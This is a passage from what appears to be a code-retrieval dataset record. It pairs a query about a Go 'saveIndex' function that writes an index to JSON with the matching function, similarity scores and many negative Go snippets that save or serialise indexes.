nil {\n\t\tf.Delete()\n\t\treturn err\n\t}\n\tf.path = original\n\treturn nil\n}" ]
[ "0.78253835", "0.7821619", "0.78051573", "0.78037894", "0.7765332", "0.7765332", "0.7757129", "0.765652", "0.7597339", "0.7491274", "0.7459667", "0.742792", "0.7427161", "0.7413067", "0.7369334", "0.7362799", "0.73234963", "0.7300355", "0.7300355", "0.7300355", "0.7300355", "0.7300355", "0.7300355", "0.7300355", "0.7280686", "0.72692007", "0.7263023", "0.72558296", "0.7253126", "0.725269", "0.72469753", "0.7206227", "0.71898055", "0.7184703", "0.7178106", "0.7151022", "0.71470845", "0.71410173", "0.71407413", "0.71286595", "0.70973825", "0.7079518", "0.70755595", "0.7063278", "0.7053233", "0.7051038", "0.7046321", "0.7041587", "0.70375985", "0.703681", "0.7027113", "0.70246196", "0.7021677", "0.7008614", "0.699976", "0.69993997", "0.699686", "0.69871664", "0.6984572", "0.69824743", "0.6976721", "0.6969358", "0.6963436", "0.69587517", "0.6951204", "0.694399", "0.69416165", "0.6940577", "0.69348246", "0.6933626", "0.69067144", "0.6903673", "0.69023263", "0.68595874", "0.68457776", "0.68039596", "0.6777019", "0.6770727", "0.676673", "0.67454636", "0.67453086", "0.67349017", "0.67217284", "0.67052287", "0.67019904", "0.6699894", "0.66920555", "0.6669806", "0.6665816", "0.66633373", "0.664833", "0.6627795", "0.66075814", "0.6578397", "0.6551108", "0.65393835", "0.6507757", "0.6497", "0.64900535", "0.6488907" ]
0.7467502
10
saveIndex encodes index to JSON format and saves it into the file
func saveIndex(repoIndex *index.Index, dir string) { indexPath := path.Join(dir, INDEX_NAME) fmtc.Printf("Saving index… ") err := jsonutil.Write(indexPath, repoIndex) if err != nil { fmtc.Println("{r}ERROR{!}") printErrorAndExit("Can't save index as %s: %v", indexPath, err) } fmtc.Println("{g}DONE{!}") }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func SaveIndex(target string, source QueryList, verbose bool) {\n\tlogm(\"INFO\", fmt.Sprintf(\"saving index to %s...\", target), verbose)\n\tfile, err := os.Create(target)\n\tcheckResult(err)\n\tdefer file.Close()\n\n\tgr := gzip.NewWriter(file)\n\tdefer gr.Close()\n\n\tencoder := gob.NewEncoder(gr)\n\n\terr = encoder.Encode(source.Names)\n\tcheckResult(err)\n\tlogm(\"INFO\", fmt.Sprintf(\"%v sequence names saved\", len(source.Names)), verbose)\n\n\terr = encoder.Encode(source.SeedSize)\n\tcheckResult(err)\n\n\terr = encoder.Encode(source.Cgst)\n\tcheckResult(err)\n\n\t// save the index, but go has a size limit\n\tindexSize := len(source.Index)\n\terr = encoder.Encode(indexSize)\n\tcheckResult(err)\n\tlogm(\"INFO\", fmt.Sprintf(\"%v queries to save...\", indexSize), verbose)\n\n\tcount := 0\n\tfor key, value := range source.Index {\n\t\terr = encoder.Encode(key)\n\t\tcheckResult(err)\n\t\terr = encoder.Encode(value)\n\t\tcheckResult(err)\n\t\tcount++\n\t\tif count%10000 == 0 {\n\t\t\tlogm(\"INFO\", fmt.Sprintf(\"processing: saved %v items\", count), false)\n\t\t}\n\t}\n\n\tlogm(\"INFO\", fmt.Sprintf(\"saving index to %s: done\", target), verbose)\n}", "func (index *ind) writeIndexFile() {\n\tif _, err := os.Stat(index.name); os.IsNotExist(err) {\n\t\tindexFile, err := os.Create(index.name)\n\t\tif err != nil {\n\t\t\tfmt.Println(err)\n\t\t}\n\t\tindexFile.Close()\n\t}\n\n\tb := new(bytes.Buffer)\n\te := gob.NewEncoder(b)\n\n\terr := e.Encode(index)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\tioutil.WriteFile(index.name, b.Bytes(), 7777)\n}", "func WriteIndex(index common.Index) error {\n\tbytes, err := json.Marshal(index)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\terr = ioutil.WriteFile(indexCachePath, bytes, 0600)\n\treturn err\n}", "func (g Index) WriteIndex(file io.Writer) error {\n\tsort.Sort(ByPath(g.Objects))\n\ts := sha1.New()\n\tw := io.MultiWriter(file, s)\n\tbinary.Write(w, binary.BigEndian, g.fixedGitIndex)\n\tfor _, entry := range g.Objects {\n\t\tbinary.Write(w, binary.BigEndian, entry.FixedIndexEntry)\n\t\tbinary.Write(w, binary.BigEndian, []byte(entry.PathName))\n\t\tpadding := 8 - ((82 + len(entry.PathName) + 4) % 8)\n\t\tp := make([]byte, padding)\n\t\tbinary.Write(w, binary.BigEndian, p)\n\t}\n\tbinary.Write(w, binary.BigEndian, s.Sum(nil))\n\treturn nil\n}", "func writeDumpIndex(filepath string, dumpInfo *blockDumpInfo) error {\n\tdumpInfoData, err := json.Marshal(dumpInfo)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn ioutil.WriteFile(filepath, dumpInfoData, 0666)\n}", "func (i *Index) SaveJSON() ([]byte, error) {\n\treturn json.Marshal(i.Objects)\n}", "func save(object interface{}, c Configuration) error {\n\tfile, err := os.Create(c.StorageLocation + \"/index.gob\")\n\tif err == nil {\n\t\tencoder := gob.NewEncoder(file)\n\t\tencoder.Encode(object)\n\t} else {\n\t\tpanic(err)\n\t}\n\n\tfile.Close()\n\treturn err\n}", "func readtreeSaveIndex(c *Client, opt ReadTreeOptions, i *Index) error {\n\tif !opt.DryRun {\n\t\tif opt.IndexOutput == \"\" {\n\t\t\topt.IndexOutput = \"index\"\n\t\t}\n\t\tf, err := c.GitDir.Create(File(opt.IndexOutput))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\tdefer f.Close()\n\t\treturn i.WriteIndex(f)\n\t}\n\treturn nil\n}", "func WriteJSON(logger log.Logger, indexFn string, fn string) error {\n\tindexFile, err := fileutil.OpenMmapFile(indexFn)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"open mmap index file %s\", indexFn)\n\t}\n\tdefer runutil.CloseWithLogOnErr(logger, indexFile, \"close index cache mmap file from %s\", indexFn)\n\n\tb := realByteSlice(indexFile.Bytes())\n\tindexr, err := index.NewReader(b)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"open index reader\")\n\t}\n\tdefer runutil.CloseWithLogOnErr(logger, indexr, \"load index cache reader\")\n\n\t// We assume reader verified index already.\n\tsymbols, err := getSymbolTable(b)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tf, err := os.Create(fn)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"create index cache file\")\n\t}\n\tdefer runutil.CloseWithLogOnErr(logger, f, \"index cache writer\")\n\n\tv := indexCache{\n\t\tVersion: indexr.Version(),\n\t\tCacheVersion: JSONVersion1,\n\t\tSymbols: symbols,\n\t\tLabelValues: map[string][]string{},\n\t}\n\n\t// Extract label value indices.\n\tlnames, err := indexr.LabelNames()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"read label indices\")\n\t}\n\tfor _, ln := range lnames {\n\t\tvals, err := indexr.LabelValues(ln)\n\t\tif err != nil {\n\t\t\treturn errors.Wrap(err, \"get label values\")\n\t\t}\n\t\tv.LabelValues[ln] = vals\n\t}\n\n\t// Extract postings ranges.\n\tpranges, err := indexr.PostingsRanges()\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"read postings ranges\")\n\t}\n\tfor l, rng := range pranges {\n\t\tv.Postings = append(v.Postings, postingsRange{\n\t\t\tName: l.Name,\n\t\t\tValue: l.Value,\n\t\t\tStart: rng.Start,\n\t\t\tEnd: rng.End,\n\t\t})\n\t}\n\n\tif err := json.NewEncoder(f).Encode(&v); err != nil {\n\t\treturn errors.Wrap(err, \"encode file\")\n\t}\n\treturn nil\n}", "func (x *Index) Write(w io.Writer) error", "func IndexWrite(x *suffixarray.Index, w io.Writer) error", "func (i *Index) saveMeta() error {\n\t// Marshal metadata.\n\tbuf, err := proto.Marshal(&internal.IndexMeta{\n\t\tKeys: i.keys,\n\t\tTrackExistence: i.trackExistence,\n\t})\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"marshalling\")\n\t}\n\n\t// Write to meta file.\n\tif err := ioutil.WriteFile(filepath.Join(i.path, \".meta\"), buf, 0666); err != nil {\n\t\treturn errors.Wrap(err, \"writing\")\n\t}\n\n\treturn nil\n}", "func (w *Writer) writeIndex() (int64, error) {\n\tw.written = true\n\n\tbuf := new(bytes.Buffer)\n\tst := sst.NewWriter(buf)\n\n\tw.spaceIds.Sort()\n\n\t// For each defined space, we index the space's\n\t// byte offset in the file and the length in bytes\n\t// of all data in the space.\n\tfor _, spaceId := range w.spaceIds {\n\t\tb := new(bytes.Buffer)\n\n\t\tbinary.WriteInt64(b, w.spaceOffsets[spaceId])\n\t\tbinary.WriteInt64(b, w.spaceLengths[spaceId])\n\n\t\tif err := st.Set([]byte(spaceId), b.Bytes()); err != nil {\n\t\t\treturn 0, err\n\t\t}\n\t}\n\n\tif err := st.Close(); err != nil {\n\t\treturn 0, err\n\t}\n\n\treturn buf.WriteTo(w.file)\n}", "func (c *Collection) saveIndexes() error {\n\tib, err := json.Marshal(c.indexes)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn c.db.datastore.Put(dsIndexes.ChildString(c.name), ib)\n}", "func (x *Index) Write(w io.Writer) error {}", "func (ifile *Indexfile) Save(lfindex *Index) error {\n\tifile.Open(CREATE | WRITE_ONLY | APPEND)\n\tdefer ifile.Close()\n\t_, err := ifile.LockedWriteAt(lfindex.ToBytes(), 0)\n\treturn err\n}", "func SaveIndexesOfUsers(path string, indexes *IndexesOfUsers) error {\n\tbyteVal, err := json.Marshal(indexes)\n\tif err != nil {\n\t\treturn nil\n\t}\n\terr = ioutil.WriteFile(path, byteVal, 0644)\n\treturn err\n}", "func (p *Buffer) saveIndex(ptr unsafe.Pointer, idx uint) {\n\tif p.array_indexes == nil {\n\t\t// the 1st time we need to allocate\n\t\tp.array_indexes = make(map[unsafe.Pointer]uint)\n\t}\n\tp.array_indexes[ptr] = idx\n}", "func SavingIndex(addr string, iName string, size int, t int, o string) {\n\tlog.SetOutput(os.Stdout)\n\n\t_, err := os.Stat(o)\n\tif !os.IsNotExist(err) {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Println(\"The file already exists.\")\n\t\tos.Exit(0)\n\t}\n\n\tcfg := elasticsearch.Config{\n\t\tAddresses: []string{\n\t\t\taddr,\n\t\t},\n\t}\n\tes, err := elasticsearch.NewClient(cfg)\n\tif err != nil {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Fatal(err)\n\t}\n\n\tcnt := indices.GetDocCount(es, iName)\n\tif cnt != 0 {\n\t\tcnt = cnt/size + 1\n\t} else {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Println(\"The document does not exist in the target index.\")\n\t\tos.Exit(0)\n\t}\n\n\teg, ctx := errgroup.WithContext(context.Background())\n\n\tchRes := make(chan map[string]interface{}, 10)\n\tchResDone := make(chan struct{})\n\tchDoc := make(chan []map[string]string, 10)\n\n\tvar scrollID string\n\n\tscrollID, err = getScrollID(es, iName, size, t, chRes)\n\tif err != nil {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Fatal(err)\n\t}\n\n\tvar mu1 sync.Mutex\n\n\tfor i := 0; i < cnt; i++ {\n\t\teg.Go(func() error {\n\t\t\tselect {\n\t\t\tcase <-ctx.Done():\n\t\t\t\treturn nil\n\t\t\tdefault:\n\t\t\t\tmu1.Lock()\n\t\t\t\tdefer mu1.Unlock()\n\t\t\t\terr := getScrollRes(es, iName, scrollID, t, chRes, chResDone)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\treturn nil\n\t\t\t}\n\t\t})\n\t}\n\n\teg.Go(func() error {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn nil\n\t\tcase <-chResDone:\n\t\t\tclose(chRes)\n\t\t\treturn nil\n\t\t}\n\t})\n\n\teg.Go(func() error {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn nil\n\t\tdefault:\n\t\t\tdefer close(chDoc)\n\t\t\treturn processing.GetDocsData(chRes, chDoc)\n\t\t}\n\t})\n\n\tvar mu2 sync.Mutex\n\n\teg.Go(func() error {\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn nil\n\t\tdefault:\n\t\t\tmu2.Lock()\n\t\t\tdefer mu2.Unlock()\n\t\t\treturn saveDocToFile(o, chDoc)\n\t\t}\n\t})\n\n\tif err := eg.Wait(); err != nil {\n\t\tlog.SetOutput(os.Stderr)\n\t\tlog.Fatal(err)\n\t}\n\n\tdeleteScrollID(es, scrollID)\n\n\tlog.Println(\"The index was saved successfully.\")\n}", "func (w *exportWriter) writeIndex(index map[types.Object]uint64) {\n\ttype pkgObj struct {\n\t\tobj types.Object\n\t\tname string // qualified name; differs from obj.Name for type params\n\t}\n\t// Build a map from packages to objects from that package.\n\tpkgObjs := map[*types.Package][]pkgObj{}\n\n\t// For the main index, make sure to include every package that\n\t// we reference, even if we're not exporting (or reexporting)\n\t// any symbols from it.\n\tif w.p.localpkg != nil {\n\t\tpkgObjs[w.p.localpkg] = nil\n\t}\n\tfor pkg := range w.p.allPkgs {\n\t\tpkgObjs[pkg] = nil\n\t}\n\n\tfor obj := range index {\n\t\tname := w.p.exportName(obj)\n\t\tpkgObjs[obj.Pkg()] = append(pkgObjs[obj.Pkg()], pkgObj{obj, name})\n\t}\n\n\tvar pkgs []*types.Package\n\tfor pkg, objs := range pkgObjs {\n\t\tpkgs = append(pkgs, pkg)\n\n\t\tsort.Slice(objs, func(i, j int) bool {\n\t\t\treturn objs[i].name < objs[j].name\n\t\t})\n\t}\n\n\tsort.Slice(pkgs, func(i, j int) bool {\n\t\treturn w.exportPath(pkgs[i]) < w.exportPath(pkgs[j])\n\t})\n\n\tw.uint64(uint64(len(pkgs)))\n\tfor _, pkg := range pkgs {\n\t\tw.string(w.exportPath(pkg))\n\t\tw.string(pkg.Name())\n\t\tw.uint64(uint64(0)) // package height is not needed for go/types\n\n\t\tobjs := pkgObjs[pkg]\n\t\tw.uint64(uint64(len(objs)))\n\t\tfor _, obj := range objs {\n\t\t\tw.string(obj.name)\n\t\t\tw.uint64(index[obj.obj])\n\t\t}\n\t}\n}", "func (i IndexFile) WriteFile(dest string, mode os.FileMode) error {\n\tb, err := json.Marshal(i)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn ioutil.WriteFile(dest, b, mode)\n}", "func (i *Index) Encode() []byte {\n\tvar buf bytes.Buffer\n\t_ = gob.NewEncoder(&buf).Encode(i)\n\treturn buf.Bytes()\n}", "func (obj *LineFile) writeToIndexPage(indexPageNumber int) {\n\tindexFilePath := obj.getIndexFilePath(indexPageNumber)\n\tfile, err := os.Create(indexFilePath)\n\tobj.checkError(err)\n\tw := bufio.NewWriter(file)\n\t_, err = w.WriteString(ConvertIntArrayToString(obj.indexPage))\n\tobj.checkError(err)\n\terr = w.Flush()\n\tobj.checkError(err)\n\tfile.Close()\n}", "func (s ConsoleIndexStore) StoreIndex(name string, idx Index) error {\n\t_, err := idx.WriteTo(os.Stdout)\n\treturn err\n}", "func writeIndexChanges(tx *bolt.Tx, changes map[string][]string, op indexOp) error {\n\tfor idxName, indexEntries := range changes {\n\t\tbucket := tx.Bucket([]byte(idxName))\n\t\tfor _, entry := range indexEntries {\n\t\t\tif err := op(bucket, []byte(entry)); err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t}\n\t}\n\treturn nil\n}", "func (d *Driver) Save(\n\tctx *sql.Context,\n\ti sql.Index,\n\titer sql.IndexKeyValueIter,\n) (err error) {\n\tvar colID uint64\n\tstart := time.Now()\n\n\tidx, ok := i.(*pilosaIndex)\n\tif !ok {\n\t\treturn errInvalidIndexType.New(i)\n\t}\n\n\tprocessingFile := d.processingFilePath(idx.Database(), idx.Table(), idx.ID())\n\tif err = index.CreateProcessingFile(processingFile); err != nil {\n\t\treturn err\n\t}\n\n\t// Retrieve the pilosa schema\n\tschema, err := d.client.Schema()\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Create a pilosa index and frame objects in memory\n\tpilosaIndex, err := schema.Index(indexName(idx.Database(), idx.Table()))\n\tif err != nil {\n\t\treturn err\n\t}\n\n\td.frames = make([]*pilosa.Frame, len(idx.Expressions()))\n\tfor i, e := range idx.Expressions() {\n\t\tfrm, err := pilosaIndex.Frame(frameName(idx.ID(), e))\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\t// make sure we delete the index in every run before inserting, since there may\n\t\t// be previous data\n\t\tif err = d.client.DeleteFrame(frm); err != nil {\n\t\t\treturn errDeletePilosaFrame.New(frm.Name(), err)\n\t\t}\n\n\t\td.frames[i] = frm\n\t}\n\n\t// Make sure the index and frames exists on the server\n\terr = d.client.SyncSchema(schema)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Open mapping in create mode. After finishing the transaction is rolled\n\t// back unless all goes well and rollback value is changed.\n\trollback := true\n\tidx.mapping.openCreate(true)\n\tdefer func() {\n\t\tif rollback {\n\t\t\tidx.mapping.rollback()\n\t\t} else {\n\t\t\te := d.saveMapping(ctx, idx.mapping, colID, false)\n\t\t\tif e != nil && err == nil {\n\t\t\t\terr = e\n\t\t\t}\n\t\t}\n\n\t\tidx.mapping.close()\n\t}()\n\n\td.bitBatches = make([]*bitBatch, len(d.frames))\n\tfor i := range d.bitBatches {\n\t\td.bitBatches[i] = newBitBatch(sql.IndexBatchSize)\n\t}\n\n\tfor colID = uint64(0); err == nil; colID++ {\n\t\t// commit each batch of objects (pilosa and boltdb)\n\t\tif colID%sql.IndexBatchSize == 0 && colID != 0 {\n\t\t\td.saveBatch(ctx, idx.mapping, colID)\n\t\t}\n\n\t\tselect {\n\t\tcase <-ctx.Done():\n\t\t\treturn ctx.Err()\n\n\t\tdefault:\n\t\t\tvar (\n\t\t\t\tvalues []interface{}\n\t\t\t\tlocation []byte\n\t\t\t)\n\t\t\tvalues, location, err = iter.Next()\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tfor i, frm := range d.frames {\n\t\t\t\tif values[i] == nil {\n\t\t\t\t\tcontinue\n\t\t\t\t}\n\n\t\t\t\trowID, err := idx.mapping.getRowID(frm.Name(), values[i])\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\td.bitBatches[i].Add(rowID, colID)\n\t\t\t}\n\t\t\terr = idx.mapping.putLocation(pilosaIndex.Name(), colID, location)\n\t\t}\n\t}\n\n\tif err != nil && err != io.EOF {\n\t\treturn err\n\t}\n\n\trollback = false\n\n\terr = d.savePilosa(ctx, colID)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tlogrus.WithFields(logrus.Fields{\n\t\t\"duration\": time.Since(start),\n\t\t\"pilosa\": d.timePilosa,\n\t\t\"mapping\": d.timeMapping,\n\t\t\"rows\": colID,\n\t\t\"id\": i.ID(),\n\t}).Debugf(\"finished pilosa indexing\")\n\n\treturn index.RemoveProcessingFile(processingFile)\n}", "func GoalsIndex() []byte {\n\tgoals := []model.Goal{}\n\tdb.Db.Find(&goals)\n\tgoalsJSON, err := json.Marshal(goals)\n\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\treturn goalsJSON\n}", "func (r Repo) uploadIndexFile(i *repo.IndexFile) error {\n\tlog := logger()\n\tlog.Debugf(\"push index file\")\n\ti.SortEntries()\n\to, err := gcs.Object(r.gcs, r.indexFileURL)\n\tif r.indexFileGeneration != 0 {\n\t\tlog.Debugf(\"update condition: if generation = %d\", r.indexFileGeneration)\n\t\to = o.If(storage.Conditions{GenerationMatch: r.indexFileGeneration})\n\t}\n\n\tw := o.NewWriter(context.Background())\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"writer\")\n\t}\n\tb, err := yaml.Marshal(i)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"marshal\")\n\t}\n\t_, err = w.Write(b)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"write\")\n\t}\n\terr = w.Close()\n\tif err != nil {\n\t\tgerr, ok := err.(*googleapi.Error)\n\t\tif ok && gerr.Code == 412 {\n\t\t\treturn ErrIndexOutOfDate\n\t\t}\n\t\treturn errors.Wrap(err, \"close\")\n\t}\n\treturn nil\n}", "func indexWrite(key string, p *pkg) {\n\tlocker.Lock()\n\tdefer locker.Unlock()\n\n\tindexedPkgs[key] = p\n}", "func (i *Index) Encode() (string, error) {\n\tout, err := yaml.Marshal(i)\n\tif err != nil {\n\t\treturn \"\", err\n\t}\n\n\treturn string(out), nil\n}", "func (req *GetIndexesRequest) serialize(w proto.Writer, serialVersion int16) (err error) {\n\tns := startRequest(w)\n\n\t// header\n\tns.startHeader()\n\tif err = ns.writeHeader(proto.GetIndexes, req.Timeout, req.TableName); err != nil {\n\t\treturn\n\t}\n\tns.endHeader()\n\n\tns.startPayload()\n\tif req.IndexName != \"\" {\n\t\tif err = ns.writeField(INDEX, req.IndexName); err != nil {\n\t\t\treturn\n\t\t}\n\t}\n\tns.endPayload()\n\tendRequest(ns)\n\treturn\n}", "func (master *MasterIndex) Write() error {\n\tf, err := os.OpenFile(master.Filename, os.O_RDWR|os.O_CREATE, 0600)\n\tif err != nil {\n\t\treturn err\n\t}\n\tenc := gob.NewEncoder(f)\n\terr = enc.Encode(master)\n\tf.Close()\n\treturn err\n}", "func (g Index) WriteTree(c *Client) (TreeID, error) {\n\tsha1, err := writeIndexEntries(c, \"\", g.Objects)\n\tif err != nil && err != ObjectExists {\n\t\treturn TreeID{}, err\n\t}\n\treturn sha1, nil\n}", "func (defintion *IndexDefinition) Serialize(args redis.Args) redis.Args {\n\targs = append(args, \"ON\", defintion.IndexOn)\n\tif defintion.Async {\n\t\targs = append(args, \"ASYNC\")\n\t}\n\tif len(defintion.Prefix) > 0 {\n\t\targs = append(args, \"PREFIX\", len(defintion.Prefix))\n\t\tfor _, p := range defintion.Prefix {\n\t\t\targs = append(args, p)\n\t\t}\n\t}\n\tif defintion.FilterExpression != \"\" {\n\t\targs = append(args, \"FILTER\", defintion.FilterExpression)\n\t}\n\tif defintion.Language != \"\" {\n\t\targs = append(args, \"LANGUAGE\", defintion.Language)\n\t}\n\n\tif defintion.LanguageField != \"\" {\n\t\targs = append(args, \"LANGUAGE_FIELD\", defintion.LanguageField)\n\t}\n\n\tif defintion.Score >= 0.0 && defintion.Score <= 1.0 {\n\t\targs = append(args, \"SCORE\", defintion.Score)\n\t}\n\n\tif defintion.ScoreField != \"\" {\n\t\targs = append(args, \"SCORE_FIELD\", defintion.ScoreField)\n\t}\n\tif defintion.PayloadField != \"\" {\n\t\targs = append(args, \"PAYLOAD_FIELD\", defintion.PayloadField)\n\t}\n\treturn args\n}", "func (app *service) Save(state State) error {\n\tjs, err := app.adapter.ToJSON(state)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tchainHash := state.Chain()\n\tindex := state.Height()\n\tpath := filePath(chainHash, index)\n\treturn app.fileService.Save(path, js)\n}", "func (h *HTTPApi) listIndex(w http.ResponseWriter, r *http.Request, ps httprouter.Params) {\n\tcollections := h.storageNode.Datasources[ps.ByName(\"datasource\")].GetMeta().Databases[ps.ByName(\"dbname\")].ShardInstances[ps.ByName(\"shardinstance\")].Collections[ps.ByName(\"collectionname\")]\n\n\t// Now we need to return the results\n\tif bytes, err := json.Marshal(collections.Indexes); err != nil {\n\t\t// TODO: log this better?\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t\treturn\n\t} else {\n\t\tw.Header().Set(\"Content-Type\", \"application/json\")\n\t\tw.Write(bytes)\n\t}\n}", "func (builder *OnDiskBuilder) GetIndex() requestableIndexes.RequestableIndex {\n\treturn requestableIndexes.OnDiskIndexFromFolder(\"./saved/\")\n}", "func BuildIndex(dir string){\n\tconfig := Config()\n\tbuilder := makeIndexBuilder(config)\n\tbuilder.Build(\"/\")\n\tsort.Strings(documents)\n\tsave(documents, config)\n}", "func (m *FileBackend) Save(b BackendData) (err error) {\n\tvar f *os.File\n\tif f, err = os.OpenFile(m.path, os.O_RDWR, 0744); err != nil {\n\t\terr = fmt.Errorf(\"error opening json for saving FileBackend: %v\", err)\n\t\treturn\n\t}\n\tdefer f.Close()\n\n\t// Set FileBackend index to 0\n\tif err = f.Truncate(0); err != nil {\n\t\terr = fmt.Errorf(\"error truncating FileBackend: %v\", err)\n\t\treturn\n\t}\n\n\t// Create flat store from store data\n\tfs := b.NewFlatRecords()\n\n\t// Encode flat store as JSON to disk\n\treturn json.NewEncoder(f).Encode(fs)\n}", "func (x *Index) Bytes() []byte {}", "func writeIndexEntries(p []*post, o string, t postListing) error {\n\tvar m string\n\tswitch t {\n\tcase index:\n\t\tm = \"index_template.html\"\n\tcase rss:\n\t\tm = \"rss_template.rss\"\n\tcase archive:\n\t\tm = \"archive_template.html\"\n\t}\n\te, err := template.ParseFiles(filepath.Join(templatesrc, m))\n\tif checkError(err) {\n\t\treturn err\n\t}\n\n\tf, err := os.Create(o)\n\tif checkError(err) {\n\t\treturn err\n\t}\n\terr = e.Execute(f, p)\n\tif checkError(err) {\n\t\treturn err\n\t}\n\n\treturn nil\n}", "func (ix *Index) bytes() (*[]byte, error) {\n\tb, err := jsonBytes(ix)\n\treturn &b, err\n}", "func WriteTree(c *git.Client) string {\n\tidx, err := c.GitDir.ReadIndex()\n\tif err != nil {\n\t\treturn err.Error()\n\t}\n\tsha1, err := idx.WriteTree(c)\n\tif err != nil {\n\t\treturn err.Error()\n\t}\n\treturn sha1.String()\n}", "func (c *Connection) Index(idx []FileInfo) {\n\tc.Lock()\n\tvar msgType int\n\tif c.indexSent == nil {\n\t\t// This is the first time we send an index.\n\t\tmsgType = messageTypeIndex\n\n\t\tc.indexSent = make(map[string]int64)\n\t\tfor _, f := range idx {\n\t\t\tc.indexSent[f.Name] = f.Modified\n\t\t}\n\t} else {\n\t\t// We have sent one full index. Only send updates now.\n\t\tmsgType = messageTypeIndexUpdate\n\t\tvar diff []FileInfo\n\t\tfor _, f := range idx {\n\t\t\tif modified, ok := c.indexSent[f.Name]; !ok || f.Modified != modified {\n\t\t\t\tdiff = append(diff, f)\n\t\t\t\tc.indexSent[f.Name] = f.Modified\n\t\t\t}\n\t\t}\n\t\tidx = diff\n\t}\n\n\tc.mwriter.writeHeader(header{0, c.nextId, msgType})\n\tc.mwriter.writeIndex(idx)\n\terr := c.flush()\n\tc.nextId = (c.nextId + 1) & 0xfff\n\tc.hasSentIndex = true\n\tc.Unlock()\n\n\tif err != nil {\n\t\tc.Close(err)\n\t\treturn\n\t} else if c.mwriter.err != nil {\n\t\tc.Close(c.mwriter.err)\n\t\treturn\n\t}\n}", "func (d *Driver) Save(\n\tctx *sql.Context,\n\ti sql.Index,\n\titer sql.PartitionIndexKeyValueIter,\n) (err error) {\n\tstart := time.Now()\n\n\tidx, ok := i.(*pilosaIndex)\n\tif !ok {\n\t\treturn errInvalidIndexType.New(i)\n\t}\n\n\tif err := idx.index.Open(); err != nil {\n\t\treturn err\n\t}\n\tdefer idx.index.Close()\n\n\tidx.wg.Add(1)\n\tdefer idx.wg.Done()\n\n\tvar b = batch{\n\t\tfields: make([]*pilosa.Field, len(idx.Expressions())),\n\t\tbitBatches: make([]*bitBatch, len(idx.Expressions())),\n\t}\n\n\tctx.Context, idx.cancel = context.WithCancel(ctx.Context)\n\tprocessingFile := d.processingFilePath(i.Database(), i.Table(), i.ID())\n\tif err := index.WriteProcessingFile(\n\t\tprocessingFile,\n\t\t[]byte{processingFileOnSave},\n\t); err != nil {\n\t\treturn err\n\t}\n\n\tpilosaIndex := idx.index\n\tvar rows uint64\n\tfor {\n\t\tp, kviter, err := iter.Next()\n\t\tif err != nil {\n\t\t\tif err == io.EOF {\n\t\t\t\tbreak\n\t\t\t}\n\t\t\treturn err\n\t\t}\n\n\t\tnumRows, err := d.savePartition(ctx, p, kviter, idx, pilosaIndex, rows, &b)\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\trows += numRows\n\t}\n\n\tlogrus.WithFields(logrus.Fields{\n\t\t\"duration\": time.Since(start),\n\t\t\"pilosa\": b.timePilosa,\n\t\t\"mapping\": b.timeMapping,\n\t\t\"rows\": rows,\n\t\t\"id\": i.ID(),\n\t}).Debugf(\"finished pilosa indexing\")\n\n\treturn index.RemoveProcessingFile(processingFile)\n}", "func (db *jsonDB) save() error {\n\tvar jsonData []byte\n\tdb.rwMutex.Lock()\n\tdefer db.rwMutex.Unlock()\n\tfile, err := os.OpenFile(db.path, os.O_WRONLY|os.O_CREATE|os.O_TRUNC, 0220)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"Cannot open DB File %v for Write\", db.path)\n\t}\n\tdefer func() {\n\t\terr = file.Close()\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Error closing DB file %v\\n%v\", db.path, err)\n\t\t}\n\t}()\n\terr = common.ToJSON(&db.data, &jsonData)\n\tif err != nil {\n\t\treturn errors.Wrap(err, \"Cannot enncode JSON\")\n\t}\n\n\t_, err = file.Write(jsonData)\n\tif err != nil {\n\t\treturn errors.Wrapf(err, \"Cannot write to DB file %v\", db.path)\n\t}\n\n\treturn nil\n}", "func (ns *NodeStore) save() error {\r\n\tb, err := json.Marshal(ns)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\terr = ioutil.WriteFile(\"nodestore.json\", b, 0660)\r\n\tif err != nil {\r\n\t\treturn err\r\n\t}\r\n\treturn nil\r\n}", "func Save(file string, v interface{}) error {\n\tf, err := gzipf.Create(file)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer f.Close()\n\tenc := json.NewEncoder(f)\n\tenc.SetIndent(\"\", \" \")\n\treturn enc.Encode(v)\n}", "func (s *DbStore) Export(out io.Writer) 